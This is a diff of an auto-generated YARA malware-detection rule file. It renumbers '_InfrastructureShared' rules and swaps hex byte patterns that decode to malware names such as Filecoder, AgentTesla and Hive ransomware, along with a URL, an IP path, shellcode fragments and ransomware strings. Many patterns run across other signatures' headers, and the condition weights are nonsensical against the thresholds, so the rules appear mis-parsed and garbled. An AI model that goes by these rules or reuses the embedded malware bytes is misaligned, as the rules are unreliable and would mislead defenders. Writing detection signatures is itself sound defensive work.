"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189764,7 +202492,7 @@ rule _InfrastructureShared_16185{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_16186{ +rule _InfrastructureShared_17251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189776,7 +202504,7 @@ rule _InfrastructureShared_16186{ ((#a_54_0 & 1)*18467+(#a_1c_1 & 1)*6181+(#a_04_2 & 1)*5637) >=3 } -rule _InfrastructureShared_16187{ +rule _InfrastructureShared_17252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -189789,7 +202517,7 @@ rule _InfrastructureShared_16187{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*25430+(#a_59_2 & 1)*26969+(#a_43_3 & 1)*25943) >=3 } -rule _InfrastructureShared_16188{ +rule _InfrastructureShared_17253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -189802,7 +202530,7 @@ rule _InfrastructureShared_16188{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*0+(#a_00_2 & 1)*10333+(#a_44_3 & 1)*18241) >=4 } -rule _InfrastructureShared_16189{ +rule _InfrastructureShared_17254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -189813,7 +202541,7 @@ rule _InfrastructureShared_16189{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*112) >=4 } -rule _InfrastructureShared_16190{ +rule _InfrastructureShared_17255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -189827,7 +202555,7 @@ rule _InfrastructureShared_16190{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26956+(#a_2f_2 & 1)*29552+(#a_00_4 & 1)*1+(#a_53_5 & 1)*8993) >=4 } -rule _InfrastructureShared_16191{ +rule _InfrastructureShared_17256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -189842,7 +202570,7 @@ rule _InfrastructureShared_16191{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*8308+(#a_53_2 & 1)*57+(#a_53_3 & 1)*29812+(#a_00_4 & 1)*111+(#a_54_5 & 1)*18467) >=4 } -rule _InfrastructureShared_16192{ +rule _InfrastructureShared_17257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -189858,7 +202586,7 @@ rule _InfrastructureShared_16192{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*25697+(#a_53_2 & 1)*29812+(#a_6e_3 & 1)*28516+(#a_13_4 & 1)*0+(#a_01_5 & 1)*-28653+(#a_00_6 & 1)*144) >=4 } -rule _InfrastructureShared_16193{ +rule _InfrastructureShared_17258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -189871,7 +202599,7 @@ rule _InfrastructureShared_16193{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*288+(#a_01_2 & 1)*9472+(#a_c2_3 & 1)*18437) >=5 } -rule _InfrastructureShared_16194{ +rule _InfrastructureShared_17259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -189885,7 +202613,7 @@ rule _InfrastructureShared_16194{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*1281+(#a_48_2 & 1)*400+(#a_58_3 & 1)*-30392+(#a_73_4 & 1)*11876) >=5 } -rule _InfrastructureShared_16195{ +rule _InfrastructureShared_17260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -189901,7 +202629,7 @@ rule _InfrastructureShared_16195{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28448+(#a_75_2 & 1)*22785+(#a_6e_3 & 1)*29298+(#a_20_4 & 1)*17487+(#a_65_5 & 1)*24936+(#a_74_6 & 1)*384) >=5 } -rule _InfrastructureShared_16196{ +rule _InfrastructureShared_17261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0f 00 21 " @@ -189921,7 +202649,7 @@ rule _InfrastructureShared_16196{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*21313+(#a_6e_2 & 1)*24936+(#a_53_3 & 1)*8519+(#a_65_4 & 1)*29728+(#a_74_5 & 1)*30496+(#a_73_6 & 1)*24944+(#a_31_8 & 1)*31489+(#a_00_10 & 1)*632+(#a_41_12 & 1)*8448+(#a_20_13 & 1)*15617) >=5 } -rule _InfrastructureShared_16197{ +rule _InfrastructureShared_17262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -189934,7 +202662,7 @@ rule _InfrastructureShared_16197{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26998+(#a_6f_2 & 1)*24435+(#a_61_3 & 1)*24951) >=6 } -rule _InfrastructureShared_16198{ +rule _InfrastructureShared_17263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0c 00 21 " @@ -189952,7 +202680,7 @@ rule _InfrastructureShared_16198{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25665+(#a_31_2 & 1)*31489+(#a_00_4 & 1)*632+(#a_41_6 & 1)*8448+(#a_20_7 & 1)*15617+(#a_00_9 & 1)*101+(#a_74_10 & 1)*31090+(#a_64_11 & 1)*12081) >=6 } -rule _InfrastructureShared_16199{ +rule _InfrastructureShared_17264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -189967,7 +202695,7 @@ rule _InfrastructureShared_16199{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_3e_2 & 1)*6144+(#a_64_3 & 1)*26707+(#a_72_4 & 1)*12851+(#a_79_5 & 1)*23667) >=7 } -rule _InfrastructureShared_16200{ +rule _InfrastructureShared_17265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -189983,7 +202711,7 @@ rule _InfrastructureShared_16200{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*12593+(#a_5c_2 & 1)*13165+(#a_6c_3 & 1)*30054+(#a_70_4 & 1)*29264+(#a_70_5 & 1)*28530+(#a_6e_6 & 1)*26476) >=7 } -rule _InfrastructureShared_16201{ +rule _InfrastructureShared_17266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -189998,7 +202726,7 @@ rule _InfrastructureShared_16201{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30575+(#a_6e_2 & 1)*29541+(#a_75_4 & 1)*385+(#a_54_5 & 1)*29541+(#a_3d_6 & 1)*22617) >=7 } -rule _InfrastructureShared_16202{ +rule _InfrastructureShared_17267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -190014,7 +202742,7 @@ rule _InfrastructureShared_16202{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_02_5 & 1)*0+(#a_74_6 & 1)*25970) >=7 } -rule _InfrastructureShared_16203{ +rule _InfrastructureShared_17268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -190030,7 +202758,7 @@ rule _InfrastructureShared_16203{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*4352+(#a_65_2 & 1)*29808+(#a_65_3 & 1)*26740+(#a_01_4 & 1)*30720+(#a_48_6 & 1)*8448+(#a_81_7 & 1)*1) >=7 } -rule _InfrastructureShared_16204{ +rule _InfrastructureShared_17269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -190046,7 +202774,7 @@ rule _InfrastructureShared_16204{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29797+(#a_5c_2 & 1)*9473+(#a_00_3 & 1)*632+(#a_54_5 & 1)*8448+(#a_53_6 & 1)*21504+(#a_52_7 & 1)*22356) >=8 } -rule _InfrastructureShared_16205{ +rule _InfrastructureShared_17270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -190056,33 +202784,47 @@ rule _InfrastructureShared_16205{ $a_01_2 = {00 09 01 63 6f 64 65 63 2e 65 78 65 01 00 07 01 55 41 30 30 30 30 30 01 00 1b 01 68 74 74 70 3a 2f 2f 66 6c 79 76 69 64 65 6f 6e 65 74 77 6f 72 6b 2e 63 6f 6d 2f 01 00 07 01 57 69 6e 45 78 65 63 } //25972 $a_02_3 = {01 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 6b 73 37 00 01 00 0d 80 01 4f 66 66 65 72 53 6f 66 74 77 61 72 65 01 00 0f 80 01 3c 47 65 74 4f 66 66 65 72 73 3e 64 5f 5f 36 01 00 0e 80 01 6f 66 66 65 72 50 61 6e 65 50 61 6e 65 6c 01 00 09 80 01 4f 66 66 65 72 73 55 72 6c 01 00 09 80 01 67 } //0 $a_4f_4 = {66 65 72 01 00 09 80 01 73 65 74 5f 4f 66 66 65 72 01 00 17 80 01 5a 69 70 53 6f 66 74 2e 43 6f 6e 74 72 6f 6c 73 2e 4f 66 66 65 72 73 01 00 32 80 01 2f 5a 69 70 53 6f 66 74 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 63 6f 6e 74 72 6f 6c 73 2f 6f 66 66 65 72 73 2f 79 61 6e 64 65 78 70 61 6e 65 } //29797 - $a_6d_5 = {9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 02 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 34 30 21 4d 54 42 00 01 00 16 81 01 5a 41 37 43 38 34 59 37 } //30766 - $a_41_6 = {48 47 35 59 34 4a 46 47 47 01 00 25 81 01 24 30 36 42 42 37 46 45 32 2d 31 34 46 41 2d 34 35 44 35 2d 38 44 35 41 2d 45 46 34 42 46 34 35 42 32 38 31 34 01 } //18232 - $a_01_7 = {42 33 41 38 34 36 46 41 46 33 46 42 34 43 44 43 32 38 32 39 31 36 32 36 36 37 44 44 30 36 38 36 37 43 33 33 44 41 37 46 43 42 43 42 35 30 35 45 36 33 33 37 33 34 32 43 34 37 44 39 39 30 37 43 01 00 07 81 01 44 65 71 75 65 75 65 01 00 07 81 01 52 65 76 65 72 73 65 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 08 81 01 } //16384 + $a_6d_5 = {9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 02 01 00 09 00 09 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 63 6f 64 65 72 2e 50 41 42 21 4d 54 42 00 02 00 62 03 00 00 0a 02 19 17 73 31 00 00 0a 13 } //30766 + $a_69_6 = {00 70 28 90 01 01 00 00 0a 18 18 73 31 00 00 0a 13 05 11 05 07 16 07 8e 69 6f 90 01 01 00 00 0a 11 05 09 6f 90 01 01 00 00 0a 17 73 35 00 00 0a 13 06 11 04 11 06 6f 90 01 01 00 00 0a de 0c 11 06 2c 07 11 06 6f 90 01 01 00 00 0a dc de 0c 90 00 02 00 10 00 45 6e 63 72 79 70 74 41 6c 6c 44 72 69 76 65 73 02 00 0b 00 45 6e 63 72 79 70 74 46 69 } //516 + $a_00_7 = {25 00 } //25964 % condition: - ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*22132+(#a_01_2 & 1)*25972+(#a_02_3 & 1)*0+(#a_4f_4 & 1)*29797+(#a_6d_5 & 1)*30766+(#a_41_6 & 1)*18232+(#a_01_7 & 1)*16384) >=8 + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*22132+(#a_01_2 & 1)*25972+(#a_02_3 & 1)*0+(#a_4f_4 & 1)*29797+(#a_6d_5 & 1)*30766+(#a_69_6 & 1)*516+(#a_00_7 & 1)*25964) >=8 } -rule _InfrastructureShared_16206{ +rule _InfrastructureShared_17271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " strings : $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 6b 73 37 00 01 00 0d 80 01 4f 66 66 65 72 53 6f 66 74 77 61 72 65 01 00 0f 80 01 3c 47 65 74 4f 66 66 65 72 73 3e 64 5f 5f 36 01 00 0e 80 01 6f 66 66 65 } //16675 $a_6e_1 = {50 61 6e 65 6c 01 00 09 80 01 4f 66 66 65 72 73 55 72 6c 01 00 09 80 01 67 65 74 5f 4f 66 66 65 72 01 00 09 80 01 73 65 74 5f 4f 66 66 65 72 01 00 17 80 01 5a 69 70 53 6f 66 74 2e 43 6f 6e 74 72 6f 6c 73 2e 4f 66 66 65 72 73 01 00 32 80 01 2f 5a 69 70 53 6f 66 74 3b 63 6f 6d 70 6f 6e 65 6e } //20594 - $a_6f_2 = {74 72 6f 6c 73 2f 6f 66 66 65 72 73 2f 79 61 6e 64 65 78 70 61 6e 65 2e 78 61 6d 6c 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 02 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //12148 - $a_2e_3 = {41 34 30 21 4d 54 42 00 01 00 16 81 01 5a 41 37 43 38 34 59 37 38 47 34 41 35 48 47 35 59 34 4a 46 47 47 01 00 25 81 01 24 30 36 42 42 37 46 45 32 2d 31 34 46 41 2d 34 35 44 35 2d 38 44 35 41 2d 45 46 34 42 46 34 35 42 32 38 31 34 01 00 40 81 01 42 33 41 38 34 36 46 41 46 33 46 42 34 43 44 } //27763 - $a_32_4 = {31 36 32 36 36 37 44 44 30 36 38 36 37 43 33 33 44 41 37 46 43 42 43 42 35 30 35 45 36 33 33 37 33 34 32 43 34 37 44 39 39 30 37 43 01 00 07 81 01 44 65 71 75 65 75 65 } //12867 - $a_81_5 = {52 65 76 65 72 73 65 } //1 Reverse - $a_81_6 = {52 61 6e 64 6f 6d } //1 Random - $a_81_7 = {45 6e 63 6f 64 69 6e 67 } //1 Encoding - $a_81_8 = {54 6f 41 72 72 61 79 } //1 ToArray - $a_81_9 = {54 6f 53 74 72 69 6e 67 } //1 ToString + $a_6f_2 = {74 72 6f 6c 73 2f 6f 66 66 65 72 73 2f 79 61 6e 64 65 78 70 61 6e 65 2e 78 61 6d 6c 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 02 01 00 09 00 09 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 63 6f 64 65 } //12148 + $a_41_3 = {21 4d 54 42 00 02 00 62 03 00 00 0a 02 19 17 73 31 00 00 0a 13 04 02 72 69 00 00 70 28 90 01 01 00 00 0a 18 18 73 31 00 00 0a 13 05 11 05 07 16 07 8e 69 6f 90 01 01 00 00 0a 11 05 09 6f 90 01 01 00 00 0a 17 73 35 00 00 0a 13 06 11 04 11 06 } //11890 + $a_01_4 = {00 } //-28561 + $a_0c_5 = {11 06 2c 07 11 06 6f 90 01 01 00 00 0a dc de 0c 90 00 02 00 10 00 45 6e 63 72 79 70 74 41 6c 6c 44 72 69 76 65 73 02 00 0b 00 45 6e 63 72 79 70 74 46 69 6c 65 02 00 25 00 65 6e 63 72 79 70 74 69 6f 6e 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 65 6e 63 72 79 70 74 69 6f 6e 2e 70 64 62 01 00 20 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 30 00 31 00 32 00 33 00 34 00 35 00 36 00 00 00 78 02 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 34 30 21 4d 54 42 00 01 00 16 81 01 5a 41 37 43 38 34 59 37 38 47 34 41 35 48 47 35 59 34 4a 46 47 47 01 00 25 81 01 24 30 36 42 42 37 46 45 32 } //2560 + $a_46_6 = {2d 34 35 44 35 2d 38 44 35 41 2d 45 46 34 42 46 34 35 42 32 38 31 34 01 00 40 81 01 42 33 41 38 34 36 46 41 46 33 46 42 34 43 44 43 32 38 32 39 31 36 32 36 } //12589 + $a_44_7 = {36 38 36 37 43 33 33 44 41 37 46 43 42 43 42 35 30 35 45 36 33 33 37 33 34 32 43 34 37 44 39 39 30 37 43 01 00 07 81 01 44 65 71 75 65 75 65 01 00 07 81 01 52 65 76 65 72 73 65 01 00 06 81 01 52 61 6e 64 } //14134 + $a_00_8 = {08 } //28015 + $a_6e_9 = {6f 64 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 08 81 01 54 6f 53 74 72 69 6e 67 00 00 78 02 01 00 09 00 09 00 09 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 48 69 76 65 2e 41 44 21 } //385 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*20594+(#a_6f_2 & 1)*12148+(#a_2e_3 & 1)*27763+(#a_32_4 & 1)*12867+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=8 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*20594+(#a_6f_2 & 1)*12148+(#a_41_3 & 1)*11890+(#a_01_4 & 1)*-28561+(#a_0c_5 & 1)*2560+(#a_46_6 & 1)*12589+(#a_44_7 & 1)*14134+(#a_00_8 & 1)*28015+(#a_6e_9 & 1)*385) >=8 } -rule _InfrastructureShared_16207{ +rule _InfrastructureShared_17272{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 63 6f 64 65 72 2e 50 41 42 21 4d 54 42 00 02 00 62 03 00 00 0a 02 19 17 73 31 00 00 0a 13 04 02 72 69 00 00 70 28 90 01 01 00 00 0a 18 18 73 31 00 00 0a 13 05 11 05 07 16 07 8e 69 } //16675 + $a_01_1 = {00 } //-28561 + $a_05_2 = {09 6f 90 01 01 00 00 0a 17 73 35 00 00 0a 13 06 11 } //2560 + $a_6f_3 = {01 01 00 00 0a de } //4356 + $a_2c_4 = {11 06 6f 90 01 01 } //4364 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28561+(#a_05_2 & 1)*2560+(#a_6f_3 & 1)*4356+(#a_2c_4 & 1)*4364) >=9 + +} +rule _InfrastructureShared_17273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -190100,7 +202842,7 @@ rule _InfrastructureShared_16207{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*11573+(#a_43_2 & 1)*14145+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_02_5 & 1)*0+(#a_6c_6 & 1)*22117+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 } -rule _InfrastructureShared_16208{ +rule _InfrastructureShared_17274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -190117,7 +202859,7 @@ rule _InfrastructureShared_16208{ ((#a_46_0 & 1)*21283+(#a_67_1 & 1)*28492+(#a_00_2 & 1)*29807+(#a_6e_3 & 1)*24321+(#a_00_4 & 1)*66+(#a_74_5 & 1)*29264+(#a_2e_6 & 1)*24912+(#a_75_7 & 1)*28498) >=9 } -rule _InfrastructureShared_16209{ +rule _InfrastructureShared_17275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -190130,7 +202872,7 @@ rule _InfrastructureShared_16209{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25188+(#a_72_2 & 1)*30580+(#a_68_3 & 1)*28257) >=11 } -rule _InfrastructureShared_16210{ +rule _InfrastructureShared_17276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -190144,7 +202886,7 @@ rule _InfrastructureShared_16210{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28440+(#a_01_2 & 1)*-24120+(#a_75_3 & 1)*92+(#a_6f_4 & 1)*27502) >=11 } -rule _InfrastructureShared_16211{ +rule _InfrastructureShared_17277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -190164,7 +202906,7 @@ rule _InfrastructureShared_16211{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*11852+(#a_29_2 & 1)*656+(#a_67_3 & 1)*30586+(#a_80_4 & 1)*0+(#a_04_5 & 1)*-28546+(#a_61_6 & 1)*656+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_02_9 & 1)*0+(#a_00_10 & 1)*-29689) >=11 } -rule _InfrastructureShared_16212{ +rule _InfrastructureShared_17278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -190175,7 +202917,7 @@ rule _InfrastructureShared_16212{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*-28546) >=12 } -rule _InfrastructureShared_16213{ +rule _InfrastructureShared_17279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -190187,7 +202929,7 @@ rule _InfrastructureShared_16213{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*0+(#a_00_2 & 1)*29541) >=12 } -rule _InfrastructureShared_16214{ +rule _InfrastructureShared_17280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -190207,7 +202949,7 @@ rule _InfrastructureShared_16214{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*29555+(#a_53_2 & 1)*-32499+(#a_74_3 & 1)*26956+(#a_65_4 & 1)*24943+(#a_81_6 & 1)*-29867+(#a_09_7 & 1)*1025+(#a_17_8 & 1)*-14031+(#a_09_9 & 1)*4356+(#a_00_10 & 1)*144+(#a_69_11 & 1)*16897) >=12 } -rule _InfrastructureShared_16215{ +rule _InfrastructureShared_17281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -190219,7 +202961,7 @@ rule _InfrastructureShared_16215{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*400+(#a_ba_2 & 1)*400) >=15 } -rule _InfrastructureShared_16216{ +rule _InfrastructureShared_17282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -190233,7 +202975,7 @@ rule _InfrastructureShared_16216{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*1811+(#a_28_2 & 1)*4360+(#a_04_3 & 1)*-28632+(#a_d6_4 & 1)*1553) >=18 } -rule _InfrastructureShared_16217{ +rule _InfrastructureShared_17283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 0a 00 21 " @@ -190244,14 +202986,14 @@ rule _InfrastructureShared_16217{ $a_61_3 = {69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 00 00 78 02 01 00 2b 00 2a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 45 6e 74 53 2e 53 49 42 47 21 4d 54 42 00 01 00 46 00 68 00 74 00 74 00 70 00 3a 00 } //29801 $a_00_4 = {32 00 31 00 32 00 2e 00 38 00 30 00 2e 00 32 00 31 00 38 00 2e 00 32 00 33 00 30 00 2f 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 6d 00 61 00 70 } //47 $a_00_6 = {01 00 22 00 25 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 25 00 5c 00 41 00 56 00 47 00 01 00 1c 00 41 00 56 00 41 00 53 00 54 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 14 00 0f 01 64 a1 30 00 00 00 8b 40 68 c1 e8 08 a8 01 75 14 00 31 03 50 53 51 56 8b 75 08 8b } //120 - $a_e9_7 = {01 01 8b 45 10 8b 5d 14 85 c9 74 90 01 01 31 06 01 1e 83 c6 90 01 01 49 90 18 85 c9 90 18 5e 59 5b 58 90 00 00 00 78 03 01 00 01 00 01 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 6f 76 74 65 72 5f 44 65 63 72 79 70 74 00 01 00 1f 00 8d 5c 01 01 0f af c6 99 f7 fb 8b 55 08 30 04 11 3b ce 7c 0b 8b c1 0f af c7 40 0f af c6 eb 08 01 00 28 00 8b 5d f4 8b 55 10 0f af fb 0f af fa 8d 04 12 8b f7 2b f0 0f af 75 f8 0f af f2 2b de 8b 75 f0 03 75 08 2b d9 8a 06 32 c3 01 00 18 02 33 d2 f7 f7 8d 4c 24 54 90 02 03 28 14 33 90 02 02 46 3b f7 72 dd 90 00 01 00 34 02 } //3149 - $a_7c_8 = {04 31 fb 89 5c 24 18 68 01 00 00 00 8d 44 24 1c 50 8b 5c 24 38 03 5c 24 1c 53 e8 90 02 04 00 ff 44 24 10 8b 5c 24 10 3b 5c 24 04 7e 08 90 00 01 00 32 02 8b d8 2b d9 90 02 02 03 df 90 02 0c 8a c3 32 85 e3 fe ff ff 8d 7e 02 88 85 e3 fe ff ff 8b c1 99 f7 ff 03 05 30 8c 44 00 3b 05 44 8c 44 00 7e 06 90 00 00 00 78 03 01 00 02 00 02 00 02 00 21 23 41 4c 46 50 45 52 3a 43 6f 6e 73 74 72 75 63 74 6f 72 3a 57 69 6e 33 32 } //-1231 - $a_6e_9 = {69 61 6c 2e 41 21 64 68 61 00 01 00 51 03 41 00 64 00 64 00 72 00 65 00 73 00 73 00 20 00 6c 00 69 00 6b 00 65 00 20 00 20 00 61 00 62 00 63 00 2e 00 63 00 6f 00 6d 00 3a 00 38 00 30 00 3b 00 31 00 32 00 2e 00 33 00 2e 00 34 00 2e 00 34 00 3a 00 90 01 02 34 00 34 00 33 00 3b 00 90 00 01 00 79 03 20 00 49 00 50 00 56 00 36 00 20 00 } //19759 + $a_e9_7 = {01 01 8b 45 10 8b 5d 14 85 c9 74 90 01 01 31 06 01 1e 83 c6 90 01 01 49 90 18 85 c9 90 18 5e 59 5b 58 90 00 00 00 78 02 01 00 4b 00 4b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4d 52 21 4d 54 42 00 32 00 50 03 44 33 46 10 44 33 76 04 44 33 7e 08 33 0e 44 33 66 0c 48 83 c6 14 41 8b f8 45 8b d6 4c 8d 35 7d a1 ed ff 44 8b c9 45 8b df 41 8b dc 8b c1 48 c1 e8 10 0f b6 d0 8b c1 48 c1 e8 08 0f b6 c8 41 8b c1 45 8b 90 01 04 16 00 48 c1 e8 18 45 33 90 00 19 00 78 03 48 83 ec 60 48 8b 05 a3 8c 12 00 48 33 c4 48 } //3149 + $a_50_8 = {c0 33 c9 0f a2 4c 8d 44 24 40 41 89 00 41 89 58 04 41 89 48 08 41 89 50 0c b8 90 01 04 48 6b c0 00 8b 90 01 } //17545 + $a_24_9 = {04 00 00 00 48 6b c0 01 8b 90 01 04 47 65 6e 75 b9 04 00 00 00 48 6b c9 03 8b 90 01 04 f1 69 6e 65 49 0b c1 } //17412 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13155+(#a_02_2 & 1)*13166+(#a_61_3 & 1)*29801+(#a_00_4 & 1)*47+(#a_00_6 & 1)*120+(#a_e9_7 & 1)*3149+(#a_7c_8 & 1)*-1231+(#a_6e_9 & 1)*19759) >=18 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13155+(#a_02_2 & 1)*13166+(#a_61_3 & 